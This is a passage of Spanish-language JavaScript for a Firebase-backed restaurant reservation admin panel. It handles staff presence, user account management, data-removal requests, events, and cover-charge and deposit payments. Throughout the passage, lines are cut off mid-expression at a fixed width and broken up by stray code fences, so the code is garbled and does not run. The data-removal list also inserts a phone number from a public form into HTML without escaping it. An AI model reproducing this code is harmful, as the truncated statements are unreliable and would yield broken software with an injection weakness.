function intentarBorrarPresenciaAlSalir(){
  if(usuarioActual) refPresenciaMia().delete().catch(()=>{});
}

function avisarPresenciaSiVisible(){
  if(document.visibilityState === 'visible') avisarPresencia();
}

function detenerPresencia(){
  if(intervaloPresencia){ clearInterval(intervaloPresencia); intervaloPresencia =
  document.removeEventListener('visibilitychange', avisarPresenciaSiVisible);
  window.removeEventListener('pagehide', intentarBorrarPresenciaAlSalir);
```

```
  if(listenerPresenciaAdmin){ listenerPresenciaAdmin(); listenerPresenciaAdmin =
  const box = document.getElementById('usuariosEnLineaBox');
  if(box) box.style.display = 'none';
}

function iniciarEscuchaPresenciaAdmin(){
  const box = document.getElementById('usuariosEnLineaBox');
  const lista = document.getElementById('usuariosEnLineaLista');
  if(!box || !lista) return;
  box.style.display = 'flex';
  if(listenerPresenciaAdmin) listenerPresenciaAdmin();
  listenerPresenciaAdmin = db.collection('configuracion').doc('presencia').collec
    .onSnapshot(snap => {
      const ahora = Date.now();
      const enLinea = snap.docs
        .filter(d => d.id !== usuarioActual.uid)
        .map(d => d.data())
        .filter(u => u.ultimoAviso && (ahora - u.ultimoAviso) < VENTANA_EN_LINEA_
        .sort((a,b) => (a.nombre||'').localeCompare(b.nombre||''));
      if(enLinea.length === 0){
        lista.innerHTML = '<span style="color:var(--text-dim);">nadie más por aho
        return;
      }
      lista.innerHTML = enLinea.map(u => `
        <span class="usuario-en-linea-chip">
          <span class="punto"></span>${escapeHtml(u.iniciales||'')} — ${escapeHtm
        </span>`).join('');
    }, err => console.warn('No se pudo leer presencia:', err));
}

function cerrarSesion(){
  if(!confirm('¿Cerrar sesión?')) return;
  refPresenciaMia().delete().catch(()=>{}).finally(() => {
    detenerPresencia();
    auth.signOut();
  });
}

function abrirModalUsuario(){
  document.getElementById('usuarioModalTitulo').textContent = 'Nuevo usuario';
  document.getElementById('usuarioModalSub').textContent = 'Se crea con su acceso
  document.getElementById('fUsuEditId').value = '';
  document.getElementById('fUsuNombre').value = '';
  document.getElementById('fUsuIniciales').value = '';
  document.getElementById('fUsuUsuario').value = '';
  document.getElementById('fUsuUsuario').disabled = false;
  document.getElementById('fUsuPass').value = '';
```

```
  document.getElementById('fUsuPassWrap').style.display = 'block';
  document.getElementById('usuarioModalError').textContent = '';
  document.getElementById('btnCrearUsuario').textContent = 'Crear usuario';
  // El primer usuario (creado desde la pantalla de login, antes de que
  // exista ninguna cuenta) siempre queda como administrador — no tendría
  // sentido dejarlo elegir "consulta" y quedarse sin poder entrar a nada.
  // El selector de nivel solo se muestra cuando ya hay un admin con sesión
  // iniciada creando cuentas para el resto del equipo.
  const esBootstrap = !usuarioActual;
  document.getElementById('fUsuRolWrap').style.display = esBootstrap ? 'none' : '
  const radioOperativo = document.querySelector('input[name="fUsuRol"][value="ope
  if(radioOperativo) radioOperativo.checked = true;
  document.getElementById('fUsuSonidoAviso').checked = true;
  document.getElementById('fUsuEventoWrap').style.display = 'none';
  document.getElementById('overlayUsuario').classList.add('open');
}

// Edición: solo permite corregir nombre, iniciales y nivel de acceso —
// el usuario (ligado al email interno de Firebase Auth) y la contraseña de
// OTRA persona no se pueden cambiar desde el navegador sin un backend con
// permisos de administrador de Firebase, así que ese campo queda bloqueado
// y el de contraseña se oculta, con una nota explicando el porqué.
function abrirModalEditarUsuario(uid){
  const u = usuariosCache.find(x => x.id === uid);
  if(!u) return;
  document.getElementById('usuarioModalTitulo').textContent = 'Editar usuario';
  document.getElementById('usuarioModalSub').textContent = 'El usuario y la contr
  document.getElementById('fUsuEditId').value = uid;
  document.getElementById('fUsuNombre').value = u.nombre || '';
  document.getElementById('fUsuIniciales').value = u.iniciales || '';
  document.getElementById('fUsuUsuario').value = u.usuario || '';
  document.getElementById('fUsuUsuario').disabled = true;
  document.getElementById('fUsuPass').value = '';
  document.getElementById('fUsuPassWrap').style.display = 'none';
  document.getElementById('usuarioModalError').textContent = '';
  document.getElementById('btnCrearUsuario').textContent = 'Guardar cambios';
  document.getElementById('fUsuRolWrap').style.display = 'block';
  const rol = u.rol || 'admin';
  const radio = document.querySelector(`input[name="fUsuRol"][value="${rol}"]`);
  if(radio) radio.checked = true;
  // Si el campo no existe todavía (usuarios creados antes de que
  // existiera esta opción), se trata como activado — igual que queda
  // activado por defecto para cualquier usuario nuevo.
  document.getElementById('fUsuSonidoAviso').checked = (u.sonidoAvisoActivo !== f
  const esPromotorEdit = rol === 'promotor';
  document.getElementById('fUsuEventoWrap').style.display = esPromotorEdit ? 'blo
  if(esPromotorEdit) poblarSelectorUsuarioEvento(u.eventoAsignado ? u.eventoAsign
```

```
  document.getElementById('overlayUsuario').classList.add('open');
}
function cerrarModalUsuario(){
  document.getElementById('overlayUsuario').classList.remove('open');
}

function toggleUsuarioEventoWrap(){
  const radioMarcado = document.querySelector('input[name="fUsuRol"]:checked');
  const esPromotor = radioMarcado && radioMarcado.value === 'promotor';
  document.getElementById('fUsuEventoWrap').style.display = esPromotor ? 'block'
  if(esPromotor) poblarSelectorUsuarioEvento();
}
function poblarSelectorUsuarioEvento(seleccionActual){
  const sel = document.getElementById('fUsuEvento');
  const hoy = fechaISO(new Date());
  const opciones = eventosCache
    .filter(e => e.activo !== false && e.fecha >= hoy)
    .sort((a,b) => a.fecha.localeCompare(b.fecha))
    .map(e => `<option value="${e.id}">${escapeHtml(e.nombre)} — ${e.fecha}</opti
  sel.innerHTML = '<option value="">Elige un evento…</option>' + opciones;
  if(seleccionActual) sel.value = seleccionActual;
}
function guardarUsuario(){
  const editId = document.getElementById('fUsuEditId').value;
  if(editId){ guardarEdicionUsuario(editId); return; }
  crearUsuario();
}

function guardarEdicionUsuario(uid){
  const nombre = document.getElementById('fUsuNombre').value.trim();
  const iniciales = document.getElementById('fUsuIniciales').value.trim().toUpper
  const radioMarcado = document.querySelector('input[name="fUsuRol"]:checked');
  const rol = radioMarcado ? radioMarcado.value : 'operativo';
  const errEl = document.getElementById('usuarioModalError');
  errEl.textContent = '';
  if(!nombre || !iniciales){ errEl.textContent = 'Completa nombre e iniciales.';
  const checkEvento = eventoAsignadoDesdeSelector(rol, errEl);
  if(!checkEvento.ok) return;
  const eventoAsignado = checkEvento.valor;

  const btn = document.getElementById('btnCrearUsuario');
  btn.disabled = true; btn.textContent = 'Guardando…';
  const sonidoAvisoActivo = document.getElementById('fUsuSonidoAviso').checked;
  db.collection('usuarios').doc(uid).update({nombre, iniciales, rol, sonidoAvisoA
    cerrarModalUsuario();
    cargarUsuariosConfig();
  }).catch(err => {
```

```
    console.error('Error editando usuario:', err);
    errEl.textContent = 'No se pudo guardar el cambio.';
  }).finally(() => {
    btn.disabled = false; btn.textContent = 'Guardar cambios';
  });
}

// Eliminar de verdad borra el documento en Firestore (no solo lo marca
// inactivo). La cuenta de acceso de Firebase de esa persona queda huérfana
// —no se puede borrar desde el navegador sin un backend—, pero sin su
// documento en /usuarios el login la bloquea igual que a un desactivado,
// así que en la práctica queda completamente sin acceso.
function eliminarUsuario(uid, nombre){
  if(!confirm(`¿Eliminar a ${nombre || 'este usuario'}? No podrá volver a iniciar
  db.collection('usuarios').doc(uid).delete().then(cargarUsuariosConfig).catch(er
    console.error('Error eliminando usuario:', err);
    alert('No se pudo eliminar el usuario.');
  });
}

// Valida y arma el evento asignado a partir del selector — solo aplica
// (y es obligatorio) cuando el nivel elegido es "promotor". Se guarda
// como una copia (id/nombre/fecha/turno) en vez de solo el id, para que
// el filtro de reservas no dependa de una consulta aparte cada vez que
// el promotor inicia sesión.
function eventoAsignadoDesdeSelector(rol, errEl){
  if(rol !== 'promotor') return { ok: true, valor: null };
  const eventoId = document.getElementById('fUsuEvento').value;
  if(!eventoId){ errEl.textContent = 'Elige el evento al que va a quedar asignado
  const ev = eventosCache.find(e => e.id === eventoId);
  if(!ev){ errEl.textContent = 'Ese evento ya no existe — elige otro.'; return {
  return { ok: true, valor: { id: ev.id, nombre: ev.nombre, fecha: ev.fecha, turn
}
function crearUsuario(){
  const nombre = document.getElementById('fUsuNombre').value.trim();
  const iniciales = document.getElementById('fUsuIniciales').value.trim().toUpper
  const usuario = normalizarUsuario(document.getElementById('fUsuUsuario').value)
  const pass = document.getElementById('fUsuPass').value;
  const errEl = document.getElementById('usuarioModalError');
  errEl.textContent = '';
  if(!nombre || !iniciales || !usuario || !pass){ errEl.textContent = 'Completa t
  if(pass.length < 6){ errEl.textContent = 'La contraseña debe tener al menos 6 c

  // Bootstrap (primer usuario, sin sesión iniciada todavía) = admin forzado.
  // De resto, se toma el nivel que el administrador haya elegido en el
  // formulario (por defecto "operativo" si por algo no hay ninguno marcado).
  const esBootstrap = !usuarioActual;
```

```
  const radioMarcado = document.querySelector('input[name="fUsuRol"]:checked');
  const rol = esBootstrap ? 'admin' : (radioMarcado ? radioMarcado.value : 'opera
  const checkEvento = eventoAsignadoDesdeSelector(rol, errEl);
  if(!checkEvento.ok) return;
  const eventoAsignado = checkEvento.valor;

  const btn = document.getElementById('btnCrearUsuario');
  btn.disabled = true; btn.textContent = 'Creando…';

  const emailInterno = emailInternoDesdeUsuario(usuario);
  const sonidoAvisoActivo = document.getElementById('fUsuSonidoAviso').checked;
  authSecundaria.createUserWithEmailAndPassword(emailInterno, pass).then(cred =>
    const uid = cred.user.uid;
    return db.collection('usuarios').doc(uid).set({
      nombre, iniciales, usuario, email: emailInterno, activo: true, rol, sonidoA
    }).then(() => authSecundaria.signOut());
  }).then(() => {
    cerrarModalUsuario();
    cargarUsuariosConfig();
  }).catch(err => {
    console.error('Error creando usuario:', err);
    // Mostramos el motivo real en vez de un mensaje genérico — así se sabe
    // de una vez si es la contraseña, el usuario repetido, o algo que hay
    // que activar en el panel de Firebase (lo más probable la primera vez).
    const mensajes = {
      'auth/email-already-in-use': 'Ese usuario ya existe — elige otro.',
      'auth/weak-password': 'La contraseña es muy débil — usa al menos 6 caracter
      'auth/invalid-email': 'El usuario tiene caracteres que no se pueden usar. P
      'auth/operation-not-allowed': 'Falta activar el inicio de sesión por usuari
      'auth/configuration-not-found': 'Todavía no está activado el módulo de acce
      'auth/network-request-failed': 'No hay conexión a internet en este momento.
    };
    errEl.textContent = mensajes[err.code] || `No se pudo crear el usuario. Códig
  }).finally(() => {
    btn.disabled = false; btn.textContent = 'Crear usuario';
  });
}

// ===== SOLICITUDES DE BAJA DE DATOS (revocar autorización de WhatsApp) =====
// El cliente pide desde el formulario público que dejemos de usar su
// número para enviarle información promocional. Esto NO borra su tarjeta
// en "clientes" ni sus reservas — solo pone autorizacionWhatsApp en false,
// exactamente igual que si hubiera elegido "No autorizo" en el formulario.
function cargarBajaDatosConfig(){
  db.collection('solicitudesEliminacion').where('estado','==','pendiente')
    .get().then(snap => {
      const badge = document.getElementById('badgeBajaDatosPendientes');
```

```
      const cont = document.getElementById('listaBajaDatosPendientes');
      if(!cont) return;
      if(snap.empty){
        badge.style.display = 'none';
        cont.innerHTML = '<div class="config-mensaje-sub">No hay solicitudes pend
        return;
      }
      badge.style.display = 'inline-block';
      badge.textContent = snap.size;
      const docs = snap.docs.slice().sort((a,b) => {
        const fa = a.data().fechaSolicitud ? a.data().fechaSolicitud.toMillis() :
        const fb = b.data().fechaSolicitud ? b.data().fechaSolicitud.toMillis() :
        return fa - fb;
      });
      cont.innerHTML = docs.map(d => {
        const s = d.data();
        const fecha = s.fechaSolicitud ? s.fechaSolicitud.toDate().toLocaleDateSt
        return `<div style="display:flex; align-items:center; justify-content:spa
          <div>
            <div style="font-weight:700; font-size:13.5px;">${s.celular}</div>
            <div style="font-size:11px; color:var(--text-dim);">Solicitado el ${f
          </div>
          <button class="btn-config-guardar" onclick="atenderBajaDatos('${d.id}',
        </div>`;
      }).join('');
    }).catch(err => console.error('Error cargando solicitudes de baja de datos:',
}

function atenderBajaDatos(idSolicitud, celular, btn){
  btn.disabled = true;
  btn.textContent = 'Procesando...';
  const batch = db.batch();
  const refCliente = db.collection('clientes').doc(celular);
  batch.set(refCliente, {
    autorizacionWhatsApp: false,
    estadoAutorizacionWhatsApp: 'no_autorizado',
    fechaAutorizacionWhatsApp: firebase.firestore.FieldValue.serverTimestamp(),
    origenAutorizacionWhatsApp: 'solicitud_baja_datos'
  }, {merge: true});
  batch.update(db.collection('solicitudesEliminacion').doc(idSolicitud), {
    estado: 'atendida',
    fechaAtencion: firebase.firestore.FieldValue.serverTimestamp(),
    atendidoPor: (usuarioActual && usuarioActual.nombre) || ''
  });
  batch.commit().then(() => {
    cargarBajaDatosConfig();
  }).catch(err => {
```

```
    console.error('Error atendiendo solicitud de baja de datos:', err);
    btn.disabled = false;
    btn.textContent = 'Atender';
  });
}

// ===== EVENTOS ESPECIALES (shows, conciertos) =====
// Colección aparte "eventos" — cada documento es un evento independiente,
// creado desde acá. La página pública eventos.html solo lee los que
// tengan activo:true y fecha de hoy en adelante. Cuando el cliente
// reserva desde ahí, la solicitud llega con eventoId/eventoNombre
// amarrados, y se distingue en el módulo de Solicitudes.
const eventosRef = db.collection('eventos');
let eventosCache = [];
let eventoImagenBase64Temp = null;
const TURNO_LABEL_EVENTO = {desayuno:'Desayuno', almuerzo:'Almuerzo', cena:'Cena'

function cargarEventosConfig(){
  const el = document.getElementById('listaEventos');
  if(!el) return;
  eventosRef.orderBy('fecha').get().then(snap => {
    eventosCache = snap.docs.map(d => ({id:d.id, ...d.data()}));
    actualizarBannerEventoPromotor();
    if(eventosCache.length === 0){
      el.innerHTML = '<div class="config-mensaje-sub">Todavía no has creado ningú
      return;
    }
    el.innerHTML = eventosCache.map(ev => `
      <div class="config-mensaje-bloque" style="margin-bottom:10px;">
        <div style="display:flex; justify-content:space-between; align-items:flex
          <div>
            <div class="config-mensaje-titulo">${escapeHtml(ev.nombre)}${ev.activ
            <div class="config-mensaje-sub">${escapeHtml(ev.fecha)} · Entrada ${e
          </div>
          <div style="display:flex; gap:6px; flex-shrink:0;">
            <button class="btn-config-guardar" style="padding:6px 10px; font-size
            <button class="btn-config-guardar" style="padding:6px 10px; font-size
            <button class="btn-config-restaurar" style="padding:6px 10px; font-si
          </div>
        </div>
      </div>`).join('');
  }).catch(err => {
    console.error('Error cargando eventos:', err);
    el.innerHTML = '<div class="config-mensaje-sub">No se pudieron cargar los eve
  });
}
```

```
function copiarLinkEvento(id){
  const base = location.href.replace(/app\.html.*$/, '');
  const url = `${base}eventos.html?evento=${id}`;
  if(navigator.clipboard && navigator.clipboard.writeText){
    navigator.clipboard.writeText(url).then(() => alert('Link copiado — pégalo en
  } else {
    prompt('Copia este link:', url);
  }
}

function elegirTurnoEvento(t){
  document.getElementById('fEventoTurno').value = t;
  document.querySelectorAll('#overlayEvento [data-turno]').forEach(b => {
    const on = b.dataset.turno === t;
    b.style.background = on ? 'var(--gold)' : '';
    b.style.color = on ? '#1a1a1a' : '';
    b.style.borderColor = on ? 'var(--gold)' : '';
  });
}

// Misma compresión que ya se usa para el carrusel: reduce la foto a un
// ancho máximo de 1000px en JPEG de calidad media, para no pasarse del
// límite de 1MB por documento en Firestore.
let coverComprobanteBase64Temp = null;
// Abonos del cover: se van acumulando mientras la reserva está abierta en
// el modal (uno o varios, cada vez que el cliente paga una parte) y se
// guardan junto con el resto de la reserva al tocar "Guardar reserva" —
// igual que el comprobante, no se escriben solos en Firestore antes de
// eso. Al reabrir una reserva ya guardada, se cargan los que ya tenía.
let coverAbonosTemp = [];
function toggleCoverFields(){
  const marcado = document.getElementById('fTieneCover').checked;
  document.getElementById('coverFieldsBlock').style.display = marcado ? 'block' :
  if(marcado) actualizarTotalCover();
}
function toggleSolicitudMusicoFields(){
  const marcado = document.getElementById('fSolicitudMusico').checked;
  document.getElementById('solicitudMusicoBlock').style.display = marcado ? 'bloc
}
// La fecha de "cuándo se pidió la solicitud de músicos" es automática —
// no un campo que el staff pueda tocar — y queda fija desde la primera
// vez que se marca, aunque la reserva se edite después en otro día. Si
// ya estaba marcada antes (se está editando), se respeta la fecha que ya
// tenía; solo se pone "hoy" la primera vez que se marca de verdad.
function fechaSolicitudMusicoParaGuardar(){
  if(!document.getElementById('fSolicitudMusico').checked) return '';
  const reservaActual = editandoId ? reservas.find(r => r.id === editandoId) : nu
```

```
  if(reservaActual && reservaActual.solicitudMusico && reservaActual.fechaSolicit
    return reservaActual.fechaSolicitudMusico;
  }
  return fechaISO(new Date());
}
// El valor que escribe el staff en "Valor del cover" es POR PERSONA — el
// total (lo que hay que cobrar/mostrarle al cliente) sale de
// multiplicarlo por el número de personas de la reserva. Se recalcula
// en vivo mientras se escribe cualquiera de los dos campos.
// Cuánto falta por pagar del cover de una reserva — usado en las tarjetas
// para que se vea de un vistazo sin tener que abrir la reserva.
// Cuánto falta por pagar de un abono PACTADO por partes — igual que
// pendienteCover pero para el abono de consumo. Si la reserva no usa el
// modo pactado (la mayoría, con el campo simple de siempre), no aplica.
function pendienteAbonoPactado(r){
  if(!r || !(Number(r.abonoPactado) > 0)) return 0;
  const abonado = Array.isArray(r.abonoAbonos) ? r.abonoAbonos.reduce((s,a) => s
  return Number(r.abonoPactado) - abonado;
}
function textoAbonoBadge(r){
  if(!(Number(r.abono) > 0)) return '';
  if(Number(r.abonoPactado) > 0){
    const pendiente = pendienteAbonoPactado(r);
    const sufijo = pendiente > 0 ? ` de $${Number(r.abonoPactado).toLocaleString(
    return `<span>Abono $${Number(r.abono).toLocaleString('es-CO')}${sufijo}</spa
  }
  return `<span>Abono $${Number(r.abono).toLocaleString('es-CO')}</span>`;
}
function pendienteCover(r){
  if(!r || !(Number(r.coverValor) > 0)) return 0;
  if(!Array.isArray(r.coverAbonos) || r.coverAbonos.length === 0){
    // Reservas de antes de que existiera el registro de abonos por
    // partes: si tienen el comprobante único de aquella época, se asume
    // que el cover quedó pagado completo (así funcionaba el sistema
    // viejo) — si no tienen ni eso, sigue pendiente el total.
    return r.comprobanteCover ? 0 : Number(r.coverValor);
  }
  const abonado = r.coverAbonos.reduce((s,a) => s + Number(a.monto||0), 0);
  return Number(r.coverValor) - abonado;
}
// Mismo criterio que pendienteCover() — se calcula en espejo (nunca por
// resta contra el pendiente) para que las dos funciones no se puedan
// desincronizar entre sí si algún día se ajusta una de las dos.
function abonadoCover(r){
  if(!r || !(Number(r.coverValor) > 0)) return 0;
  if(!Array.isArray(r.coverAbonos) || r.coverAbonos.length === 0){
    return r.comprobanteCover ? Number(r.coverValor) : 0;
```

```
  }
  return r.coverAbonos.reduce((s,a) => s + Number(a.monto||0), 0);
}
function textoCoverBadge(r){
  if(!(Number(r.coverValor) > 0)) return '';
  const pendiente = pendienteCover(r);
  const abonado = abonadoCover(r);
  // Guillermo pidió ver los tres montos de una — antes solo se veían el
  // total y lo pendiente, y había que entrar a la reserva para saber
  // cuánto se había abonado.
  const sufijo = pendiente > 0
    ? ` — Abono $${abonado.toLocaleString('es-CO')} — Pendiente $${pendiente.toLo
    : ` — Abono $${abonado.toLocaleString('es-CO')} — Pagado`;
  return `<span class="vip-tag" style="color:#e8a33d; border-color:#e8a33d;">🎟 C
}
function actualizarTotalCover(){
  const el = document.getElementById('coverTotalDisplay');
  if(!el) return;
  const porPersona = numCampo('fCoverValor') || 0;
  const pax = Number(document.getElementById('fPax').value) || 0;
  if(porPersona <= 0 || pax <= 0){
    el.textContent = '';
  } else {
    const total = porPersona * pax;
    el.textContent = `Total: $${total.toLocaleString('es-CO')} (${pax} personas ×
  }
  renderCoverAbonos();
}
// ===== Abonos del cover (pagos parciales) =====
// El cover es distinto del abono de consumo: es la entrada de un evento
// especial, y el cliente a veces la paga de a poquitos ("te abono 100 mil
// ahora, el resto después"). Esto lleva la cuenta de cada abono por
// separado (con su fecha) y calcula cuánto ya pagó y cuánto le falta,
// sin necesidad de escribir todo de nuevo cada vez — solo se agrega el
// abono nuevo y se suma al total ya registrado.
function renderCoverAbonos(){
  const lista = document.getElementById('coverAbonosLista');
  const resumen = document.getElementById('coverAbonosResumen');
  if(!lista || !resumen) return;
  if(coverAbonosTemp.length === 0){
    lista.innerHTML = '<div style="font-size:12px; color:var(--text-dim);">Todaví
  } else {
    lista.innerHTML = coverAbonosTemp.map((a, i) => `
      <div class="cover-abono-item">
        <span>${new Date(a.fecha).toLocaleDateString('es-CO')} — $${Number(a.mont
        <div class="cover-abono-item-acciones">
          ${a.comprobante ? `<button type="button" class="cover-abono-ver" onclic
```

```
          <button type="button" class="cover-abono-quitar" onclick="quitarAbonoCo
        </div>
      </div>`).join('');
  }
  const porPersona = numCampo('fCoverValor') || 0;
  const pax = Number(document.getElementById('fPax').value) || 0;
  const totalCover = porPersona * pax;
  const totalAbonado = coverAbonosTemp.reduce((s,a) => s + Number(a.monto||0), 0)
  const pendiente = totalCover - totalAbonado;
  resumen.classList.remove('pendiente','completo');
  if(totalCover <= 0){
    resumen.textContent = '';
  } else if(pendiente <= 0){
    resumen.textContent = `✓ Cover pagado completo — $${totalAbonado.toLocaleStri
    resumen.classList.add('completo');
  } else {
    resumen.textContent = `Abonado: $${totalAbonado.toLocaleString('es-CO')} — Pe
    resumen.classList.add('pendiente');
  }
  const btnEnviarAprobacion = document.getElementById('btnEnviarAprobacionAbonoCo
  if(btnEnviarAprobacion) btnEnviarAprobacion.style.display = coverAbonosTemp.len
}
// El comprobante es obligatorio en cada abono del cover — es el soporte
// del pago, tal como el comprobante de abono de consumo. Por eso se pide
// en un mini-formulario (monto + foto) en vez de un simple prompt() de
// texto, que no podría pedir una imagen.
let nuevoAbonoCoverComprobanteTemp = null;
function mostrarFormNuevoAbonoCover(){
  const porPersona = numCampo('fCoverValor') || 0;
  const pax = Number(document.getElementById('fPax').value) || 0;
  if(porPersona * pax <= 0){ alert('Primero escribe el valor del cover por person
  nuevoAbonoCoverComprobanteTemp = null;
  document.getElementById('fNuevoAbonoCoverMonto').value = '';
  document.getElementById('fNuevoAbonoCoverComprobante').value = '';
  document.getElementById('previewNuevoAbonoCoverComprobante').style.display = 'n
  document.getElementById('previewNuevoAbonoCoverComprobante').src = '';
  document.getElementById('labelNuevoAbonoCoverComprobante').textContent = '📎 Su
  document.getElementById('nuevoAbonoCoverForm').style.display = 'flex';
  document.getElementById('btnMostrarNuevoAbonoCover').style.display = 'none';
}
function cancelarAgregarAbonoCover(){
  document.getElementById('nuevoAbonoCoverForm').style.display = 'none';
  document.getElementById('btnMostrarNuevoAbonoCover').style.display = 'block';
}
function previsualizarNuevoAbonoCoverComprobante(input){
  const file = input.files[0];
  if(!file) return;
```

```
  const reader = new FileReader();
  reader.onload = e => {
    const img = new Image();
    img.onload = () => {
      // Mismo criterio de compresión que el resto de comprobantes.
      const maxW = 700;
      const escala = Math.min(1, maxW / img.width);
      const canvas = document.createElement('canvas');
      canvas.width = Math.round(img.width * escala);
      canvas.height = Math.round(img.height * escala);
      const ctx = canvas.getContext('2d');
      ctx.drawImage(img, 0, 0, canvas.width, canvas.height);
      let calidad = 0.72;
      let resultado = canvas.toDataURL('image/jpeg', calidad);
      while(resultado.length > 700000 && calidad > 0.2){
        calidad -= 0.12;
        resultado = canvas.toDataURL('image/jpeg', calidad);
      }
      nuevoAbonoCoverComprobanteTemp = resultado;
      const preview = document.getElementById('previewNuevoAbonoCoverComprobante'
      preview.src = resultado;
      preview.style.display = 'block';
      document.getElementById('labelNuevoAbonoCoverComprobante').textContent = '
      // El botón de confirmar sube a la vista solo, para que después de
      // subir la foto sea imposible no verlo y quede a medias sin guardar.
      document.querySelector('#nuevoAbonoCoverForm .btn-cargar-abono')?.scrollInt
    };
    img.src = e.target.result;
  };
  reader.readAsDataURL(file);
}
function confirmarAgregarAbonoCover(){
  const monto = numCampo('fNuevoAbonoCoverMonto');
  if(monto <= 0){ alert('Escribe cuánto abonó, un valor mayor a 0.'); return; }
  if(!nuevoAbonoCoverComprobanteTemp){ alert('Falta subir el comprobante de este
  coverAbonosTemp.push({ monto, fecha: new Date().toISOString(), comprobante: nue
  cancelarAgregarAbonoCover();
  renderCoverAbonos();
}
function verComprobanteAbonoCover(indice){
  const item = coverAbonosTemp[indice];
  if(!item || !item.comprobante) return;
  document.getElementById('comprobanteViewerImg').src = item.comprobante;
  document.getElementById('comprobanteViewerOverlay').classList.add('open');
}
function quitarAbonoCover(indice){
  if(!confirm('¿Quitar este abono del cover (y su comprobante)? Por si se registr
```

```
  coverAbonosTemp.splice(indice, 1);
  renderCoverAbonos();
}

// ===== Abono pactado por mesa (consumo) — mismo sistema que el cover,
// pero SEPARADO: su propia lista de abonos parciales, su propio
// comprobante por cada uno, y su propio valor pactado (que no se
// multiplica por pax, es un monto fijo que se acuerda con el cliente).
// r.abono (el campo de siempre, usado en reportes, tarjetas y el mensaje
// de WhatsApp) se sigue llenando automáticamente con la suma de estos
// abonos — así todo lo que ya existía sigue funcionando igual, sin haber
// tenido que tocar reportes ni nada más.
let abonoPactadoAbonosTemp = [];
let nuevoAbonoPactadoComprobanteTemp = null;
function toggleAbonoPactadoFields(){
  const marcado = document.getElementById('fTieneAbonoPactado').checked;
  document.getElementById('abonoPactadoFieldsBlock').style.display = marcado ? 'b
  if(marcado) renderAbonoPactadoResumen();
}
function renderAbonoPactadoResumen(){
  const lista = document.getElementById('abonoPactadoAbonosLista');
  const resumen = document.getElementById('abonoPactadoResumen');
  if(!lista || !resumen) return;
  if(abonoPactadoAbonosTemp.length === 0){
    lista.innerHTML = '<div style="font-size:12px; color:var(--text-dim);">Todaví
  } else {
    lista.innerHTML = abonoPactadoAbonosTemp.map((a, i) => `
      <div class="cover-abono-item">
        <span>${new Date(a.fecha).toLocaleDateString('es-CO')} — $${Number(a.mont
        <div class="cover-abono-item-acciones">
          ${a.comprobante ? `<button type="button" class="cover-abono-ver" onclic
          <button type="button" class="cover-abono-quitar" onclick="quitarAbonoPa
        </div>
      </div>`).join('');
  }
  const totalPactado = numCampo('fAbonoPactadoValor');
  const totalAbonado = abonoPactadoAbonosTemp.reduce((s,a) => s + Number(a.monto|
  const pendiente = totalPactado - totalAbonado;
  resumen.classList.remove('pendiente','completo');
  if(totalPactado <= 0){
    resumen.textContent = '';
  } else if(pendiente <= 0){
    resumen.textContent = `✓ Abono pagado completo — $${totalAbonado.toLocaleStri
    resumen.classList.add('completo');
  } else {
    resumen.textContent = `Abonado: $${totalAbonado.toLocaleString('es-CO')} — Pe
    resumen.classList.add('pendiente');
```

```
  }
  const btnEnviarAprobacion = document.getElementById('btnEnviarAprobacionAbonoPa
  if(btnEnviarAprobacion) btnEnviarAprobacion.style.display = abonoPactadoAbonosT
}
function mostrarFormNuevoAbonoPactado(){
  const totalPactado = numCampo('fAbonoPactadoValor');
  if(totalPactado <= 0){ alert('Primero escribe el valor del abono pactado.'); re
  nuevoAbonoPactadoComprobanteTemp = null;
  document.getElementById('fNuevoAbonoPactadoMonto').value = '';
  document.getElementById('fNuevoAbonoPactadoComprobante').value = '';
  document.getElementById('previewNuevoAbonoPactadoComprobante').style.display =
  document.getElementById('previewNuevoAbonoPactadoComprobante').src = '';
  document.getElementById('labelNuevoAbonoPactadoComprobante').textContent = '📎
  document.getElementById('nuevoAbonoPactadoForm').style.display = 'flex';
  document.getElementById('btnMostrarNuevoAbonoPactado').style.display = 'none';
}
function cancelarAgregarAbonoPactado(){
  document.getElementById('nuevoAbonoPactadoForm').style.display = 'none';
  document.getElementById('btnMostrarNuevoAbonoPactado').style.display = 'block';
}
function previsualizarNuevoAbonoPactadoComprobante(input){
  const file = input.files[0];
  if(!file) return;
  const reader = new FileReader();
  reader.onload = e => {
    const img = new Image();
    img.onload = () => {
      const maxW = 700;
      const escala = Math.min(1, maxW / img.width);
      const canvas = document.createElement('canvas');
      canvas.width = Math.round(img.width * escala);
      canvas.height = Math.round(img.height * escala);
      const ctx = canvas.getContext('2d');
      ctx.drawImage(img, 0, 0, canvas.width, canvas.height);
      let calidad = 0.72;
      let resultado = canvas.toDataURL('image/jpeg', calidad);
      while(resultado.length > 700000 && calidad > 0.2){
        calidad -= 0.12;
        resultado = canvas.toDataURL('image/jpeg', calidad);
      }
      nuevoAbonoPactadoComprobanteTemp = resultado;
      const preview = document.getElementById('previewNuevoAbonoPactadoComprobant
      preview.src = resultado;
      preview.style.display = 'block';
      document.getElementById('labelNuevoAbonoPactadoComprobante').textContent =
      document.querySelector('#nuevoAbonoPactadoForm .btn-cargar-abono')?.scrollI
    };
```

```
    img.src = e.target.result;
  };
  reader.readAsDataURL(file);
}
function confirmarAgregarAbonoPactado(){
  const monto = numCampo('fNuevoAbonoPactadoMonto');
  if(monto <= 0){ alert('Escribe cuánto abonó, un valor mayor a 0.'); return; }
  if(!nuevoAbonoPactadoComprobanteTemp){ alert('Falta subir el comprobante de est
  abonoPactadoAbonosTemp.push({ monto, fecha: new Date().toISOString(), comproban
  cancelarAgregarAbonoPactado();
  renderAbonoPactadoResumen();
}
function verComprobanteAbonoPactado(indice){
  const item = abonoPactadoAbonosTemp[indice];
  if(!item || !item.comprobante) return;
  document.getElementById('comprobanteViewerImg').src = item.comprobante;
  document.getElementById('comprobanteViewerOverlay').classList.add('open');
}
function quitarAbonoPactado(indice){
  if(!confirm('¿Quitar este abono (y su comprobante)? Por si se registró por erro
  abonoPactadoAbonosTemp.splice(indice, 1);
  renderAbonoPactadoResumen();
}
// El campo de siempre (abono) sigue siendo "cuánto se ha abonado en
// total" — si el abono es pactado por partes, se calcula solo como la
// suma de esos abonos; si no, es el número que se escribió directo en el
// campo simple. Así todos los reportes, tarjetas y el mensaje de
// WhatsApp que ya usan r.abono siguen funcionando exactamente igual.
function valorAbonoParaGuardar(){
  if(document.getElementById('fTieneAbonoPactado').checked){
    return abonoPactadoAbonosTemp.reduce((s,a) => s + Number(a.monto||0), 0);
  }
  return Number(document.getElementById('fAbono').value)||0;
}
// Quita el abono "antiguo" (de antes de que existiera el sistema de
// abonos pactados/cover actual) que quedó guardado en el campo oculto
